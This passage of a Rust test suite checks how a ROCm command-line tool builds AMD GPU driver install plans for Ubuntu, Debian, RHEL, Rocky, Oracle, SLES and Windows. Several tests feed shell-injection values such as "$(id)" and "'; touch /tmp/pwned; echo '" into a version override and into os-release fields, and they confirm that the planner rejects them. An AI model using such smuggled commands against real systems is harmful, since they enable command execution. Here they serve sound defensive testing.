assert_eq!(plan.codename, "resolute"); + assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu resolute main")); + assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); + assert!(plan.reboot_required); + } + + #[test] + fn driver_plan_ubuntu_2604_root_drops_sudo() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="26.04" +VERSION_CODENAME=resolute +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::AlreadyRoot, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(rendered.contains("Execute: apt-get install -y amdgpu-dkms")); + assert!(plan.commands.iter().all(|c| !c.command.contains("sudo"))); + } + + #[test] + fn driver_plan_ubuntu_2604_falls_back_to_resolute_codename() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // No VERSION_CODENAME/UBUNTU_CODENAME in os-release: codename_for_version + // must supply "resolute" on its own. + let os_release = r#" +ID=ubuntu +VERSION_ID="26.04" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.codename, "resolute"); + assert!(plan.supported); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + } + + #[test] + fn driver_plan_apt_warns_about_a_previous_amdgpu_dkms_without_removing_it() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let first = &plan + .commands + .first() + .expect("apt plan has commands") + .command; + + // Detection runs before anything else, and only echoes: removal stays + // the user's call. Behavior is proven end to end by running the + // command against a stubbed dpkg-query in + // `previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed`. + assert!(first.contains("dpkg-query")); + assert!(first.contains("sudo apt-get autoremove -y amdgpu-dkms")); + assert!( + !plan + .commands + .iter() + .skip(1) + .any(|c| c.command.contains("autoremove")) + ); + assert!(plan.reason.contains("only warns")); + assert!(first.contains("continuing anyway")); + assert!( + !plan + .preflight_checks + .iter() + .any(|check| check.contains("amdgpu-dkms")) + ); + } + + #[cfg(unix)] + #[test] + fn previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed() { + use std::os::unix::fs::PermissionsExt; + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::AlreadyRoot, + ); + let command = &plan.commands[0].command; + let dir = tempfile::tempdir().unwrap(); + let root = dir.path().to_path_buf(); + let run = |status: &str| { + let stub = root.join("dpkg-query"); + fs::write(&stub, format!("#!/bin/sh\nprintf '%s' '{status}'\n")).unwrap(); + fs::set_permissions(&stub, fs::Permissions::from_mode(0o755)).unwrap(); + let out = ProcessCommand::new("sh") + .args(["-c", command]) + .env("PATH", format!("{}:/usr/bin:/bin", root.display())) + .output() + .unwrap(); + assert!(out.status.success()); + String::from_utf8_lossy(&out.stdout).into_owned() + }; + assert!(run("install ok installed").contains("warning: amdgpu-dkms")); + assert!(run("").is_empty()); + } + + #[cfg(unix)] + #[test] + fn driver_plan_rejects_a_non_utf8_version_override() { + // `std::env::var` reports a non-UTF-8 value as `Err(VarError::NotUnicode)`, + // which `resolve_repo_version_expr` must not fold into the + // `NotPresent`/empty "unset" case -- that would silently use "latest" + // for a user who explicitly set this to something. + use std::os::unix::ffi::OsStrExt; + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let invalid = std::ffi::OsStr::from_bytes(&[0x66, 0xFF, 0x66]); + #[allow(unsafe_code)] // std::env::set_var is unsafe in edition 2024 + unsafe { + std::env::set_var("ROCM_CLI_AMDGPU_DRIVER_VERSION", invalid); + } + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert!(!plan.supported); + assert_eq!(plan.policy, "invalid_driver_version_override"); + assert!( + !plan.mutating, + "a refused override must not claim to mutate" + ); + assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); + assert!(plan.commands.is_empty()); + } + + #[test] + fn driver_plan_rejects_shell_metacharacters_in_version_override() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set( + "ROCM_CLI_AMDGPU_DRIVER_VERSION", + "'; touch /tmp/pwned; echo '", + ); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert!(!plan.supported); + assert_eq!(plan.policy, "invalid_driver_version_override"); + assert!( + !plan.mutating, + "a refused override must not claim to mutate" + ); + assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); + // Already proves no command can contain "pwned": a vacuous check over + // commands would be redundant with this. + assert!(plan.commands.is_empty()); + } + + #[test] + fn driver_plan_rejects_a_space_free_shell_injection_payload() { + // The metacharacter test above uses a payload full of spaces, which + // `is_safe_shell_token` already rejects on its own -- so it proves + // nothing about whether `$`, backticks, or `()` are actually in the + // denylist. Use a payload with no spaces at all so the rejection can + // only come from the metacharacters themselves. + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "$(id)"); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert!(!plan.supported); + assert_eq!(plan.policy, "invalid_driver_version_override"); + assert!( + !plan.mutating, + "a refused override must not claim to mutate" + ); + assert!(plan.commands.is_empty()); + } + + #[test] + fn driver_plan_treats_empty_version_override_as_unset() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", ""); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_ne!(plan.policy, "invalid_driver_version_override"); + assert_eq!(plan.repo_version_expr, "latest"); + } + + #[test] + fn driver_plan_accepts_a_valid_version_override_and_uses_it_in_the_url() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert_eq!(plan.repo_version_expr, "30.10"); + assert!(rendered.contains("amdgpu/30.10/")); + } + + #[test] + fn driver_plan_falls_back_on_a_hostile_codename() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME='; touch /tmp/pwned; echo ' +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.codename, "noble"); + assert!( + plan.commands + .iter() + .all(|command| !command.command.contains("pwned")) + ); + } + + #[test] + fn driver_plan_falls_back_on_a_malformed_version_id() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04'; touch /tmp/pwned; echo '" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.version_id, ""); + assert!(!plan.supported); + assert!( + plan.commands + .iter() + .all(|command| !command.command.contains("pwned")) + ); + } + + #[test] + fn driver_plan_falls_back_on_a_space_free_hostile_codename() { + // The payload above is full of spaces, which `is_safe_shell_token` + // already rejects on its own -- it proves nothing about whether the + // metacharacters themselves are denylisted. Use a space-free payload + // so rejection can only come from the metacharacters. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Single-quoted so the os-release parser (which refuses an unquoted + // `$`/`(`/`)` outright, making the whole file unreadable rather than + // just this field) accepts the line and hands `$(id)` to + // `is_safe_shell_token` to reject on its own merits. + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME='$(id)' +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.codename, "noble"); + assert!( + plan.commands + .iter() + .all(|command| !command.command.contains("$(id)")) + ); + } + + #[test] + fn driver_plan_falls_back_on_a_space_free_malformed_version_id() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Single-quoted for the same reason as the codename test above: a + // bare/double-quoted `$(id)` makes the whole os-release file + // unreadable, which would pass this test's assertions (empty + // version_id, unsupported) without ever reaching `is_safe_shell_token`. + let os_release = r" +ID=ubuntu +VERSION_ID='$(id)' +VERSION_CODENAME=noble +"; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.version_id, ""); + assert!(!plan.supported); + assert!( + plan.commands + .iter() + .all(|command| !command.command.contains("$(id)")) + ); + } + + #[test] + fn driver_plan_falls_back_on_a_space_free_hostile_os_id() { + // Closes the gap where `os_id`'s `is_safe_shell_token` filter (the + // `field("ID").filter(...)` call above `codename_for_version`) had no + // dedicated test at all: deleting that filter left every other test + // green, since none of them feed a hostile `ID` value. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID='$(id)' +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + + assert_eq!(plan.os_id, ""); + assert_eq!(plan.policy, "unsupported_linux_dkms_plan"); + assert!(!plan.supported); + assert!( + plan.commands + .iter() + .all(|command| !command.command.contains("$(id)")) + ); + } + + #[test] + fn driver_plan_default_linux_preflight_has_no_execution_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + false, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(!plan.mutating); + assert!(plan.commands.is_empty()); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("execution_commands: ")); + assert!(!rendered.contains("sudo apt-get")); + assert!(rendered.contains("add --dkms")); + } + + #[test] + fn driver_plan_debian_12_omits_linux_modules_extra() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=debian +VERSION_ID="12" +VERSION_CODENAME=bookworm +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(plan.supported); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("linux-headers-$(uname -r)")); + assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); + assert!(rendered.contains("amdgpu-dkms")); + assert!(rendered.contains("dry run only")); + } + + #[test] + fn driver_plan_rhel_97_uses_documented_dnf_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=rhel +VERSION_ID="9.7" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + assert!(rendered.contains("`dnf` package manager is available")); + assert!(rendered.contains("kernel-headers-$(uname -r)")); + assert!(rendered.contains("kernel-devel-$(uname -r)")); + assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/rhel/9.7/main/x86_64") + ); + assert!(rendered.contains("gpgcheck=1")); + assert!(rendered.contains("/etc/yum.repos.d/amdgpu.repo")); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + assert!(rendered.contains("approval: required")); + } + + #[test] + fn driver_plan_oracle_linux_101_uses_el_10_uek_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ol +VERSION_ID="10.1" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(plan.supported); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("kernel-uek-devel-$(uname -r)")); + // `rpm --import` is pushed once after the distro-specific match, not + // inside the RHEL/Generic arm -- Oracle's flow must get it too. + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/10/main/x86_64") + ); + assert!(rendered.contains("dry run only")); + } + + #[test] + fn driver_plan_rocky_97_uses_el_dnf_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=rocky +VERSION_ID="9.7" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!( + rendered + .contains("sudo dnf install -y kernel-headers kernel-devel kernel-devel-matched") + ); + // Rocky is `Generic`, not `Rhel`, in `DnfDriverDistro` -- confirms the + // `rpm --import` push is unconditional across the dnf match arms, not + // only wired for the `Rhel`/`Oracle` arms the other two tests cover. + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.7/main/x86_64") + ); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_rocky_94_uses_el_dnf_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Rocky 9.x point releases must resolve like RHEL 9.x, not just 9.7. + let os_release = r#" +ID=rocky +VERSION_ID="9.4" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.4/main/x86_64") + ); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_rocky_8_and_10_remain_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // AMD documents Rocky Linux 9 only; keep the driver matrix scoped to 9.x. + for version in ["8.10", "10.0"] { + let os_release = format!("\nID=rocky\nVERSION_ID=\"{version}\"\n"); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(&os_release), + true, + PrivilegeEscalation::Sudo, + ); + assert!(!plan.supported, "rocky {version} should be unsupported"); + assert!(!plan.mutating, "rocky {version} must not mutate"); + assert!( + plan.commands.is_empty(), + "rocky {version} must emit no commands" + ); + } + } + + #[test] + fn driver_plan_debian_uses_intended_ubuntu_suite() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // AMD's documented Debian install deliberately serves Debian from the + // Ubuntu-suite amdgpu tree (Debian 12 -> jammy). Lock that in and + // ensure the plan explains the mapping is intentional. + let os_release = r#" +ID=debian +VERSION_ID="12" +VERSION_CODENAME=bookworm +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(plan.supported); + assert_eq!(plan.codename, "jammy"); + assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu jammy main")); + assert!( + plan.reason + .contains("intentionally uses AMD's Ubuntu-suite repository") + ); + } + + #[test] + fn driver_plan_sles_157_uses_documented_zypper_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=sles +VERSION_ID="15.7" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(rendered.contains("`zypper` package manager is available")); + assert!(rendered.contains("SUSEConnect")); + assert!(rendered.contains("sle-module-desktop-applications/15.7/x86_64")); + assert!(rendered.contains("sudo zypper --non-interactive install -y kernel-default-devel")); + assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/sle/15.7/main/x86_64") + ); + assert!(rendered.contains("gpgcheck=1")); + assert!(rendered.contains("/etc/zypp/repos.d/amdgpu.repo")); + assert!( + rendered.contains("sudo zypper --non-interactive --gpg-auto-import-keys refresh"), + "the post-repo-add refresh must auto-trust the new repo's signing key, \ + or zypper would prompt (and hang this unattended flow): {rendered}" + ); + assert!(rendered.contains("Execute: sudo zypper --non-interactive install -y amdgpu-dkms")); + assert!(rendered.contains("approval: required")); + } + + #[test] + fn sles_repo_baseurl_uses_the_given_repo_version_expr_not_a_hardcoded_latest() { + // Mutation-proofs the parameter wiring itself: a mutation that + // hardcoded `latest` into this function's body left every existing + // SLES test green because their default env override also resolves + // to `latest`, so none of them could tell "wired correctly" apart + // from "hardcoded to the same value the default happens to be". + assert_eq!( + sles_repo_baseurl("6.2.1", "15.7"), + "https://repo.radeon.com/amdgpu/6.2.1/sle/15.7/main/x86_64" + ); + assert_eq!( + sles_repo_baseurl("latest", "15.7"), + "https://repo.radeon.com/amdgpu/latest/sle/15.7/main/x86_64" + ); + } + + #[test] + fn driver_plan_dnf_overrides_the_repo_version_via_the_driver_version_env() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); + let os_release = "ID=rhel\nVERSION_ID=\"9.7\"\n"; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!( + rendered.contains("amdgpu/30.10/rhel/9.7/"), + "an overridden ROCM_CLI_AMDGPU_DRIVER_VERSION must reach the dnf repo baseurl, \ + not a hardcoded `latest`: {rendered}" + ); + } + + #[test] + fn driver_plan_id_like_derivatives_honour_the_driver_version_env() { + // (os-release, expected repo path). Each derivative arm of + // `driver_plan_via_id_like` must thread the override, not `latest`. + let cases = [ + ( + "ID=almalinux\nID_LIKE=\"rhel centos fedora\"\nVERSION_ID=\"9.6\"\n", + "amdgpu/30.10/el/9.6", + ), + ( + "ID=pop\nID_LIKE=\"ubuntu debian\"\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", + "amdgpu/30.10/ubuntu", + ), + ( + "ID=devuan\nID_LIKE=debian\nVERSION_ID=\"12\"\n", + "amdgpu/30.10/ubuntu", + ), + ]; + for (os_release, want) in cases { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + assert!(plan.supported, "{os_release}"); + assert!(rendered.contains(want), "{os_release}: {rendered}"); + assert!( + !rendered.contains("amdgpu/latest"), + "{os_release}: {rendered}" + ); + } + } + + #[test] + fn driver_plan_refuses_a_retired_version_pin_variable() { + for retired in RETIRED_DRIVER_VERSION_VARS { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set(retired, "7.2.4"); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), + true, + PrivilegeEscalation::Sudo, + ); + + assert!(!plan.supported && !plan.mutating, "{retired}"); + assert_eq!(plan.policy, "retired_driver_version_override"); + assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); + } + } + + #[test] + fn driver_plan_support_matches_rocm_core_diagnose() { + // `rocm-core` cannot call the plan builder, so diagnose keeps its own + // copy of the support matrix (`dkms_driver_plan_is_supported`); this + // fails if the two disagree on any host. + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let hosts = [ + ("ubuntu", "22.04", "debian"), + ("ubuntu", "24.04", "debian"), + ("Ubuntu", "24.04", "debian"), + ("ubuntu", "26.04", "debian"), + ("debian", "12", ""), + ("debian", "13", ""), + ("rhel", "9.7", "fedora"), + ("rhel", "10.0", "fedora"), + ("ol", "9.7", "fedora"), + ("ol", "9.7", "rhel fedora"), + ("ol", "9.5", "rhel fedora"), + ("rocky", "9.6", "rhel centos fedora"), + ("almalinux", "9.6", "rhel centos fedora"), + ("sles", "15.7", "suse"), + ("sle", "15.7", "suse"), + ("pop", "24.04", "ubuntu debian"), + ("linuxmint", "22", "ubuntu debian"), + ("fedora", "41", ""), + ("opensuse-leap", "15.7", "suse opensuse"), + ]; + for (id, version, like) in hosts { + let os_release = format!( + "ID={id}\nVERSION_ID=\"{version}\"\nID_LIKE=\"{like}\"\nVERSION_CODENAME=noble\n" + ); + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(&os_release), + true, + PrivilegeEscalation::Sudo, + ); + let host = rocm_core::examine::Examination { + distro_id: id.to_owned(), + distro_version: version.to_owned(), + distro_id_like: like.to_owned(), + ..rocm_core::examine::Examination::default() + }; + assert_eq!( + plan.supported, + rocm_core::diagnose::dkms_driver_plan_is_supported(&host), + "{id} {version} (ID_LIKE={like}): plan policy {}", + plan.policy + ); + } + } + + #[test] + fn driver_plan_sles_overrides_the_repo_version_via_the_driver_version_env() { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "6.2.1"); + let os_release = r#" +ID=sles +VERSION_ID="15.7" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!( + rendered.contains("baseurl=https://repo.radeon.com/amdgpu/6.2.1/sle/15.7/main/x86_64"), + "an overridden ROCM_CLI_AMDGPU_DRIVER_VERSION must reach the SLES repo baseurl, \ + not a hardcoded `latest`: {rendered}" + ); + } + + #[test] + fn driver_plan_unsupported_linux_is_non_mutating() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=fedora +VERSION_ID="41" +"#; + let plan = build_driver_install_plan_read( + &test_examine("linux", false), + &os_release_found(os_release), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("no driver commands will be executed")); + assert!(!rendered.contains("sudo dnf install -y amdgpu-dkms")); + } + + /// AGENTS.md section 3: the planners' wording is asserted together with what + /// the command does on that platform. On Windows the command is + /// `windows_validate_only` (no execution), so the plan must be read-only, + /// carry no `--yes` and not call itself disruptive; elsewhere the command + /// mutates, so the plan keeps approval, `--yes` and the warning. + #[test] + fn planners_describe_install_driver_as_the_command_behaves_on_each_platform() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + for os in ["windows", "linux"] { + let only_reports = install_driver_only_reports_on(os); + let plan = build_driver_install_plan_at( + &test_examine(os, false), + "/etc/os-release", + "", + true, + PrivilegeEscalation::Sudo, + ); + // The planners and the command agree on the platform decision. + assert_eq!(only_reports, plan.policy == "windows_validate_only", "{os}"); + if only_reports { + assert!(!plan.mutating, "{os}"); + } + + let freeform = crate::freeform_planner::plan_driver_request( + "install the driver", + "install the driver", + only_reports, + ); + let action = freeform.actions.last().expect("a driver action"); + let chat = crate::chat::chat_install_driver_action( + vec!["install".to_owned(), "driver".to_owned()], + only_reports, + ); + if only_reports { + assert!(!action.args.iter().any(|a| a == "--yes"), "{action:?}"); + assert!(!action.reason.contains("disruptive"), "{action:?}"); + assert!(!freeform.approval.starts_with("required")); + match chat { + crate::chat::ChatRocmCommandAction::ReadOnly(args) => { + assert!(!args.iter().any(|a| a == "--yes")); + } + crate::chat::ChatRocmCommandAction::Approval { .. } => { + panic!("chat must not ask approval for a report-only command") + } + } + } else { + assert!(action.args.iter().any(|a| a == "--yes")); + assert!(action.reason.contains("disruptive")); + assert_eq!(freeform.approval, "required before driver changes"); + match chat { + crate::chat::ChatRocmCommandAction::Approval { args, .. } => { + assert!(args.iter().any(|a| a == "--yes")); + } + crate::chat::ChatRocmCommandAction::ReadOnly(_) => { + panic!("chat must ask approval on a mutating platform") + } + } + } + } + } + + /// The chat entry point passes this host's decision to the helper, so a + /// hard-coded value fails on one of the two platforms the suite runs on. + #[test] + fn the_chat_entry_point_follows_the_hosts_install_driver_decision() { + let action = crate::chat::chat_rocm_command_action_from_args(vec![ + "install".to_owned(), + "driver".to_owned(), + ]) + .expect("chat action"); + let reports = std::env::consts::OS == "windows"; + assert_eq!(host_install_driver_only_reports(), reports); + match action { + crate::chat::ChatRocmCommandAction::ReadOnly(args) => { + assert!(reports, "read-only only where the command only reports"); + assert!(!args.iter().any(|a| a == "--yes")); + } + crate::chat::ChatRocmCommandAction::Approval { args, .. } => { + assert!(!reports, "approval only where the command installs"); + assert!(args.iter().any(|a| a == "--yes")); + } + } + } + + #[test] + fn windows_install_driver_is_validate_only() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let plan = build_driver_install_plan_read( + &test_examine("windows", false), + &os_release_found(""), + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert_eq!(plan.policy, "windows_validate_only"); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("execution_commands: ")); + // The plan installs nothing, so it asks for no reboot and labels its + // checks accordingly. + assert!(!plan.reboot_required); + assert!(rendered.contains("post_install_checks:")); + assert!(!rendered.contains("post_reboot")); + // No driver facts in this fixture: the text says so and points at the + // commands that exist. Both commands take no flags. + assert!(rendered.contains("could not be read; run `rocm examine`")); + assert!(rendered.contains("rocm diagnose")); + assert!(plan.commands.is_empty()); + } + + fn windows_examine_with_driver(version: &str, date: &str) -> ExamineSummary { + let mut examine = test_examine("windows", false); + examine.driver = rocm_core::DriverSummary { + policy: "windows_validate_only".to_owned(), + status: "amd_display_driver_detected".to_owned(), + detail: Some(format!("AMD Radeon(TM) Graphics driver {version}")), + windows: rocm_core::windows_driver::WindowsDriverInfo::from_probe(version, date), + }; + examine + } + + /// The text and the behaviour, asserted together: the plan reports the + /// driver version, date, verdict and fix id, and the same plan runs + /// nothing, even when approval is given. + #[test] + fn windows_install_driver_reports_an_old_driver_and_installs_nothing() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let examine = windows_examine_with_driver("30.0.13014.8", "2021-08-04"); + let plan = build_driver_install_plan_at( + &examine, + "/etc/os-release", + "", + true, + PrivilegeEscalation::Sudo, + ); + + // Behaviour: nothing to execute, however the command is invoked. + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(plan.commands.is_empty()); + assert!(plan.execution_commands().is_empty()); + for (yes, dry_run) in [(false, false), (true, false), (true, true)] { + let rendered = render_driver_install_plan(&plan, yes, dry_run); + assert!( + rendered.contains("execution_commands: "), + "{rendered}" + ); + assert!( + rendered.contains("action: no driver commands will be executed"), + "{rendered}" + ); + assert!(!rendered.contains("rerun with --yes"), "{rendered}"); + + // Text: what it reports. + assert!(rendered.contains("version 30.0.13014.8"), "{rendered}"); + assert!(rendered.contains("dated 2021-08-04"), "{rendered}"); + assert!(rendered.contains("outdated: yes"), "{rendered}"); + assert!( + rendered.contains(rocm_core::windows_driver::DISPLAY_DRIVER_OLD_FIX_ID), + "{rendered}" + ); + // The promise that nothing is installed. + assert!( + rendered.contains("no driver is installed or changed"), + "{rendered}" + ); + } + } + + #[test] + fn windows_install_driver_does_not_call_a_current_driver_outdated() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let examine = windows_examine_with_driver("32.0.23033.1002", "2026-05-02"); + let plan = build_driver_install_plan_at( + &examine, + "/etc/os-release", + "", + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, true, false); + assert!(rendered.contains("version 32.0.23033.1002"), "{rendered}"); + assert!(rendered.contains("outdated: no"), "{rendered}"); + // The `no` is only about the date, so the plan says what the date + // cannot judge; the state 